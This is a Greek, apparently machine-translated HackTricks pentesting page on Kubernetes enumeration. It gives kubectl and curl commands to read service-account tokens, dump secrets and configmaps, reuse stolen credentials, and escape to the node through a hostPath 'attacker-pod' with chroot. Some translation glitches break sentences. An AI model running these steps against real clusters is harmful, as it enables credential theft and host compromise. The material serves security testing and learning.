Kubernetes Enumeration

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Κουβάδες Kubernetes

Εάν έχετε πρόσβαση σε έναν υπολογιστή που ο χρήστης έχει πρόσβαση σε κάποια πλατφόρμα Kubernetes. Το token συνήθως βρίσκεται σε ένα αρχείο που δείχνει η μεταβλητή περιβάλλοντος KUBECONFIG ή μέσα στο ~/.kube.

Σε αυτόν τον φάκελο μπορείτε να βρείτε αρχεία ρυθμίσεων με tokens και ρυθμίσεις για σύνδεση στον API server. Σε αυτόν τον φάκελο μπορείτε επίσης να βρείτε έναν φάκελο μνήμης cache με πληροφορίες που έχουν ανακτηθεί προηγουμένως.

Εάν έχετε πρόσβαση σε ένα pod μέσα σε ένα περιβάλλον Kubernetes, υπάρχουν άλλα μέρη όπου μπορείτε να βρείτε tokens και πληροφορίες για το τρέχον K8 περιβάλλον:

Tokens Λογαριασμού Υπηρεσίας

Πριν συνεχίσετε, εάν δεν γνωρίζετε τι είναι μια υπηρεσία στο Kubernetes, θα σας πρότεινα να ακολουθήσετε αυτόν το σύνδεσμο και να διαβάσετε τουλάχιστον τις πληροφορίες σχετικά με την αρχιτεκτονική του Kubernetes.

Παρμένο από την τεκμηρίωση του Kubernetes:

«Όταν δημιουργείτε ένα pod, εάν δεν καθορίσετε ένα λογαριασμό υπηρεσίας, του ανατίθεται αυτόματα ο προεπιλεγμένος λογαριασμός υπηρεσίας στον ίδιο χώρο ονομάτων.»

Ο ServiceAccount είναι ένα αντικείμενο που διαχειρίζεται το Kubernetes και χρησιμοποιείται για να παρέχει μια ταυτότητα για διεργασίες που εκτελούνται σε ένα pod. Κάθε λογαριασμός υπηρεσίας έχει ένα μυστικό που σχετίζεται με αυτόν και αυτό το μυστικό περιέχει ένα bearer token. Αυτό είναι ένα JSON Web Token (JWT), μια μέθοδος για την ασφαλή αναπαράσταση απαιτήσεων μεταξύ δύο μερών.

Συνήθως ένας από τους φακέλους:

  • /run/secrets/kubernetes.io/serviceaccount

  • /var/run/secrets/kubernetes.io/serviceaccount

  • /secrets/kubernetes.io/serviceaccount

περιέχει τα αρχεία:

  • ca.crt: Είναι το πιστοποιητικό ca για τον έλεγχο των επικοινωνιών του Kubernetes

  • namespace: Υποδεικνύει τον τρέχοντα χώρο ονομάτων

  • token: Περιέχει το token υπηρεσίας του τρέχοντος pod.

Τώρα που έχετε το token, μπορείτε να βρείτε τον API server μέσα στη μεταβλητή περιβάλλοντος KUBECONFIG. Για περισσότερες πληροφορίες εκτελέστε (env | set) | grep -i "kuber|kube"

Το token του λογαριασμού υπηρεσίας υπογράφεται από το κλειδί που βρίσκεται στο αρχείο sa.key και επικυρώνεται από το sa.pub.

Προεπιλεγμένη τοποθεσία στο Kubernetes:

  • /etc/kubernetes/pki

Προεπιλεγμένη τοποθεσία στο Minikube:

  • /var/lib/localkube/certs

Hot Pods

Τα hot pods είναι pods που περιέχουν ένα προνομιούχο token λογαριασμού υπηρεσίας. Ένα προνομιούχο token λογαριασμού υπηρεσίας είναι ένα token που έχει άδεια να εκτελεί προνομιούχες εργασίες όπως η λίστα μυστικών, η δημιουργία pods, κλπ.

RBAC

Εάν δεν γνωρίζετε τι είναι το RBAC, διαβάστε αυτήν την ενότητα.

Λίστα Απαρίθμησης

Για να απαριθμήσετε ένα περιβάλλον K8s χρειάζεστε μερικά πράγματα:

  • Ένα έγκυρο διαπιστευτήριο πιστοποίησης. Στην προηγούμ

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Εάν έχετε την άδεια list, σας επιτρέπεται να εκτελέσετε αιτήσεις API για να καταλογίσετε έναν τύπο πόρου (επιλογή get στο kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Εάν έχετε την άδεια watch, σας επιτρέπεται να εκτελέσετε αιτήσεις API για την παρακολούθηση των πόρων:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Ανοίγουν μια σύνδεση ροής που επιστρέφει το πλήρες αρχείο μεταβολής ενός Deployment κάθε φορά που αλλάζει (ή όταν δημιουργείται ένα νέο).

Οι παρακάτω εντολές kubectl υποδεικνύουν απλώς πώς να καταλογίσετε τα αντικείμενα. Εάν θέλετε να αποκτήσετε πρόσβαση στα δεδομένα, πρέπει να χρησιμοποιήσετε την εντολή describe αντί για την get.

Χρησιμοποιώντας το curl

Από μέσα σε ένα pod μπορείτε να χρησιμοποιήσετε αρκετές μεταβλητές περιβάλλοντος:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Από προεπιλογή, το pod μπορεί να έχει πρόσβαση στον kube-api server με το όνομα τομέα kubernetes.default.svc και μπορείτε να δείτε το δίκτυο kube στο /etc/resolv.config όπου θα βρείτε τη διεύθυνση του kubernetes DNS server (το ".1" της ίδιας περιοχής είναι το kube-api endpoint).

Χρησιμοποιώντας το kubectl

Έχοντας το token και τη διεύθυνση του API server, μπορείτε να χρησιμοποιήσετε το kubectl ή το curl για να έχετε πρόσβαση όπως περιγράφεται εδώ:

Από προεπιλογή, ο APISERVER επικοινωνεί με το https:// σχήμα

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true'

αν δεν υπάρχει https:// στο url, μπορεί να λάβετε σφάλμα όπως Bad Request.

Μπορείτε να βρείτε ένα επίσημο φύλλο απατεώνα kubectl εδώ. Ο στόχος των παρακάτω ενοτήτων είναι να παρουσιάσουν με ταξινομημένο τρόπο διάφορες επιλογές για να απαριθμήσετε και να κατανοήσετε το νέο K8s στο οποίο έχετε αποκτήσει πρόσβαση.

Για να βρείτε το αίτημα HTTP που στέλνει το kubectl μπορείτε να χρησιμοποιήσετε την παράμετρο -v=8

MitM kubectl - Προξενεία του kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Τρέχουσα Διαμόρφωση

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

Εάν καταφέρατε να κλέψετε τα διαπιστευτήρια ορισμένων χρηστών, μπορείτε να τα διαμορφώσετε τοπικά χρησιμοποιώντας κάτι όπως:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Λήψη Υποστηριζόμενων Πόρων

Με αυτές τις πληροφορίες θα γνωρίζετε όλες τις υπηρεσίες που μπορείτε να καταγράψετε

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Λήψη Τρεχουσών Προνομιών

Για να λάβετε πληροφορίες σχετικά με τις τρέχουσες προνομιούχες ενέργειες σας, μπορείτε να χρησιμοποιήσετε την εντολή kubectl auth can-i. Αυτή η εντολή ελέγχει αν έχετε το δικαίωμα να εκτελέσετε μια συγκεκριμένη ενέργεια σε ένα αντικείμενο του Kubernetes. Για παράδειγμα, μπορείτε να εκτελέσετε την εντολή kubectl auth can-i create pods για να ελέγξετε αν έχετε το δικαίωμα να δημιουργήσετε pods. Αν η εντολή επιστρέψει "yes", τότε έχετε το δικαίωμα, ενώ αν επιστρέψει "no", τότε δεν έχετε το δικαίωμα. Μπορείτε επίσης να χρησιμοποιήσετε την επιλογή --as για να ελέγξετε τα δικαιώματα ενός συγκεκριμένου χρήστη ή ρόλου. Για παράδειγμα, μπορείτε να εκτελέσετε την εντολή kubectl auth can-i create pods --as system:admin για να ελέγξετε αν ο ρόλος "system:admin" έχει το δικαίωμα να δημιουργήσει pods.

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

Ένας άλλος τρόπος για να ελέγξετε τα δικαιώματά σας είναι να χρησιμοποιήσετε το εργαλείο: https://github.com/corneliusweig/rakkess****

Μπορείτε να μάθετε περισσότερα για το Kubernetes RBAC στο:

pageKubernetes Role-Based Access Control(RBAC)

Αφού γνωρίζετε ποια δικαιώματα έχετε, ελέγξτε την παρακάτω σελίδα για να διαπιστώσετε αν μπορείτε να τα καταχραστείτε για να αναβαθμίσετε τα δικαιώματά σας:

pageAbusing Roles/ClusterRoles in Kubernetes

Λήψη άλλων ρόλων

k get roles
k get clusterroles

Λήψη ονομάτων χώρων ονομάτων

Το Kubernetes υποστηρίζει πολλαπλά εικονικά clusters που υποστηρίζονται από το ίδιο φυσικό cluster. Αυτά τα εικονικά clusters ονομάζονται ονόματα χώρων ονομάτων.

k get namespaces
kurl -k -v https://$APISERVER/api/v1/namespaces/

Λήψη μυστικών

Για να λάβετε τα μυστικά ενός πόρου, μπορείτε να χρησιμοποιήσετε την εντολή `kubectl get secrets`. Αυτή η εντολή θα επιστρέψει μια λίστα με όλα τα μυστικά που υπάρχουν στο cluster. Μπορείτε να προσδιορίσετε τον πόρο για τον οποίο θέλετε να λάβετε τα μυστικά χρησιμοποιώντας την επιλογή `--namespace` και το όνομα του πόρου. Για παράδειγμα:

kubectl get secrets --namespace=default
kubectl get secrets --namespace=default -o json
kubectl get secrets --namespace=default -o yaml

Μπορείτε επίσης να χρησιμοποιήσετε την εντολή kubectl describe secret για να λάβετε περισσότερες πληροφορίες για ένα συγκεκριμένο μυστικό. Για παράδειγμα:

kubectl describe secret <secret_name> --namespace=default

Αυτή η εντολή θα εμφανίσει τις λεπτομέρειες του συγκεκριμένου μυστικού, όπως τον τύπο του, τα δεδομένα που περιέχει και άλλες πληροφορίες που μπορεί να είναι χρήσιμες για την εκτέλεση επιθέσεων.

k get secrets -o yaml
k get secrets -o yaml -n custnamespace
kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/

Εάν μπορείτε να διαβάσετε τα μυστικά, μπορείτε να χρησιμοποιήσετε τις παρακάτω γραμμές για να πάρετε τα προνόμια που σχετίζονται με κάθε διακριτικό:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Λήψη Λογαριασμών Υπηρεσίας

Όπως συζητήθηκε στην αρχή αυτής της σελίδας, όταν ένα ποδοσφαιρικό παιχνίδι εκτελείται, συνήθως του ανατίθεται ένας λογαριασμός υπηρεσίας. Επομένως, η καταγραφή των λογαριασμών υπηρεσίας, των δικαιωμάτων τους και του τόπου όπου εκτελούνται μπορεί να επιτρέψει σε έναν χρήστη να αναβαθμίσει τα προνόμιά του.

k get serviceaccounts

Λήψη Αναπτύξεων

Οι αναπτύξεις καθορίζουν τα στοιχεία που πρέπει να εκτελεστούν.

.k get deployments
k get deployments -n custnamespace
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/

Λήψη Pods

Τα Pods είναι τα πραγματικά containers που θα τρέξουν.

k get pods
k get pods -n custnamespace
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

Λήψη Υπηρεσιών

Οι υπηρεσίες του Kubernetes χρησιμοποιούνται για να εκθέσουν μια υπηρεσία σε ένα συγκεκριμένο θύρα και IP (το οποίο θα λειτουργήσει ως φορτίο ισορροπητής για τα pods που προσφέρουν πραγματικά την υπηρεσία). Αυτό είναι ενδιαφέρον να γνωρίζετε πού μπορείτε να βρείτε άλλες υπηρεσίες για να προσπαθήσετε να επιτεθείτε.

k get services
k get services -n custnamespace

Λήψη κόμβων

Λάβετε όλους τους κόμβους που έχουν διαμορφωθεί μέσα στο cluster.

k get nodes

Λήψη DaemonSets

Τα DaemonSets επιτρέπουν να εξασφαλίσουμε ότι ένα συγκεκριμένο pod εκτελείται σε όλους τους κόμβους του cluster (ή στους επιλεγμένους). Εάν διαγράψετε το DaemonSet, τα pods που διαχειρίζεται θα αφαιρεθούν επίσης.

k get daemonsets
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets

Λήψη cronjob

Οι cron jobs επιτρέπουν τον προγραμματισμό χρήσης της σύνταξης crontab για την εκκίνηση ενός pod που θα εκτελέσει μια ενέργεια.

k get cronjobs

Λήψη του configMap

Το configMap περιέχει πάντα πολλές πληροφορίες και αρχεία ρυθμίσεων που παρέχονται στις εφαρμογές που εκτελούνται στο Kubernetes. Συνήθως μπορείτε να βρείτε πολλούς κωδικούς πρόσβασης, μυστικά και διαπιστευτήρια που χρησιμοποιούνται για τη σύνδεση και την επικύρωση σε άλλες εσωτερικές/εξωτερικές υπηρεσίες.

k get configmaps # -n namespace
kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps

Πάρτε "όλα"

k get all

Λήψη καταναλώσεων Pods

Για να λάβετε πληροφορίες σχετικά με τις καταναλώσεις των Pods, μπορείτε να χρησιμοποιήσετε την εντολή kubectl με την παράμετρο top. Παρακάτω παρουσιάζονται μερικά παραδείγματα χρήσης:

# Λήψη κατανάλωσης CPU για όλα τα Pods
kubectl top pods --all-namespaces --sort-by=cpu

# Λήψη κατανάλωσης μνήμης για όλα τα Pods
kubectl top pods --all-namespaces --sort-by=memory

# Λήψη κατανάλωσης CPU για ένα συγκεκριμένο Namespace
kubectl top pods -n <namespace> --sort-by=cpu

# Λήψη κατανάλωσης μνήμης για ένα συγκεκριμένο Namespace
kubectl top pods -n <namespace> --sort-by=memory

Με αυτές τις εντολές, μπορείτε να παρακολουθείτε τις καταναλώσεις των Pods στο περιβάλλον Kubernetes.

k top pod --all-namespaces

Απόδραση από το pod

Εάν μπορείτε να δημιουργήσετε νέα pods, μπορείτε να δραπετεύσετε από αυτά προς τον κόμβο. Για να το κάνετε αυτό, πρέπει να δημιουργήσετε ένα νέο pod χρησιμοποιώντας ένα αρχείο yaml, να μεταβείτε στο δημιουργημένο pod και στη συνέχεια να εκτελέσετε την εντολή chroot στο σύστημα του κόμβου. Μπορείτε να χρησιμοποιήσετε υπάρχοντα pods ως αναφορά για το αρχείο yaml, καθώς εμφανίζουν υπάρχουσες εικόνες και διαδρομές.

kubectl get pod <name> [-n <namespace>] -o yaml

αν χρειάζεστε να δημιουργήσετε ένα pod σε ένα συγκεκριμένο κόμβο, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή για να λάβετε τις ετικέτες του κόμβου

k get nodes --show-labels

Συνήθως, οι ετικέτες kubernetes.io/hostname και node-role.kubernetes.io/master είναι καλές επιλογές για επιλογή.

Στη συνέχεια δημιουργήστε το αρχείο attack.yaml σας

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

αρχική πηγή yaml

Μετά από αυτό, δημιουργείτε το pod

kubectl apply -f attacker.yaml [-n <namespace>]

Τώρα μπορείτε να μεταβείτε στο δημιουργημένο pod ως εξής

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

Και τελικά εκτελείτε την εντολή chroot στο σύστημα του κόμβου

chroot /root /bin/bash

Πληροφορίες που αποκτήθηκαν από: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1

Αναφορές

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated